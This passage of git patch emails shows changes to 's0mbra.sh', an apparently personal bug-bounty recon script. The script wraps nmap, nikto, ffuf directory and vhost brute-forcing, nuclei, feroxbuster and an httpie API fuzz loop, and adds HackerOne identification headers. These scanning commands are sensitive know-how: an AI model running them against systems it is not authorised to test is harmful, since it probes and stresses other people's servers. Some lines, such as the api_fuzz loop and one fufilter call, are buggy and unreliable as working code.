-> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From 0e3aa68830da81e6faf7043f2d156c1c308c9816 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 25 Jan 2022 00:15:03 +0000 Subject: [PATCH 167/369] [denumerator] added missing HTTP Response status codes --- denumerator/denumerator.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 70ad1e6..5576f08 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,8 +43,8 @@ 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', + 303: '\33[33m', 304: '\33[33m', - 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', @@ -53,6 +53,7 @@ 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', + 429: '\33[94m', 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', From f0977b173d71882227033ef99c91f9f59c70a9a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 20:18:07 +0000 Subject: [PATCH 168/369] [s0mbra] Add required headers for recon --- s0mbra.sh | 62 +++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7fca481..9022230 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -231,16 +231,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -284,13 +284,13 @@ ransack() { nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log @@ -303,6 +303,28 @@ ransack() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +fu() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -450,28 +472,6 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fu() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" - - if [[ -n $3 ]]; then - if [[ $3 == "/" ]]; then - # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - generate_shells() { clear port=$2 From 1b80e18f78ba64ef01f651355238fb32fb11c5bd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 22:28:56 +0000 Subject: [PATCH 169/369] [s0mbra] Added fufilter - fu, but wiht filtering ceratin response size(s) --- s0mbra.sh | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9022230..39a91d1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -308,7 +308,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -325,6 +325,29 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +fufilter() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" + + if [[ -n $4 ]]; then + if [[ $4 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -606,6 +629,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufilter) + fufilter "$2" "$3" "$4" "$5" + ;; s3go) s3go "$2" "$3" ;; @@ -624,6 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From d63599b1ae9e7ab9fbb5367a2676ccbb860ecf0a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:02:51 +0000 Subject: [PATCH 170/369] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 39a91d1..f9d6f85 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -650,7 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From ca434fc168b05cd45c0e63161f82c856e95ada31 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:56:15 +0000 Subject: [PATCH 171/369] [s0mbra] lookaround() output improvements --- s0mbra.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index f9d6f85..2aee7d3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -202,6 +202,7 @@ nfs_enum() { # actually worth to look into :D lookaround() { TMPDIR=$(pwd) + START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" # subfinder @@ -212,6 +213,11 @@ lookaround() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 994c07a128f396631b12f799592414e17e5fec87 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Feb 2022 12:10:47 +0000 Subject: [PATCH 172/369] [s0mbra] API fuzzing with httpie (work in progress, but basic functionality works --- endpoints.txt | 1 + s0mbra.sh | 15 +++++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 endpoints.txt diff --git a/endpoints.txt b/endpoints.txt new file mode 100644 index 0000000..ff772e2 --- /dev/null +++ b/endpoints.txt @@ -0,0 +1 @@ +/api/v1/user diff --git a/s0mbra.sh b/s0mbra.sh index 2aee7d3..fb95558 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -331,6 +331,17 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +api_fuzz() { + clear + echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" + + for endpoint in $(cat $2); do + https --print=HBh --all --follow POST https://$1/$2 payload=data + https --print=HBh --all --follow PUT https://$1/$2 payload=data + done + + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} fufilter() { clear @@ -638,6 +649,9 @@ case "$cmd" in fufilter) fufilter "$2" "$3" "$4" "$5" ;; + apifuzz) + api_fuzz "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -658,6 +672,7 @@ case "$cmd" in echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From e6c8e15b48061f0ae5b48188153caf96845319e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Feb 2022 00:22:48 +0000 Subject: [PATCH 173/369] [s0mbra] ransack() improvements: new tools, parametrized options --- s0mbra.sh | 83 ++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 58 insertions(+), 25 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb95558..09bfb2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -211,13 +211,15 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,16 +239,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -264,12 +266,23 @@ recon() { ransack() { HOSTNAME=$1 - if [[ -z $2 ]]; then + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + NUCLEI=$(echo $2|grep 'nuclei'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + + # set proto: + if [[ -z $3 ]]; then PROTO='https' else - PROTO=$2 + PROTO=$3 fi + # setup output directory rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -282,24 +295,44 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + if [[ $NMAP -eq "1" ]]; then + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + fi # nikto - echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" - - # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + if [[ $NIKTO == "1" ]]; then + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + fi - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + if [[ $VHOSTS -eq "1" ]]; then + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + fi # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log - + if [[ $FFUF -eq "1" ]]; then + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + fi + + # feroxbuster + if [[ $FEROXBUSTER -eq "1" ]]; then + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + fi + # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + if [[ $NUCLEI -eq "1" ]]; then + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + fi + + # x8 + if [[ $X8 -eq "1" ]]; then + x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 + fi END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" @@ -320,13 +353,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u 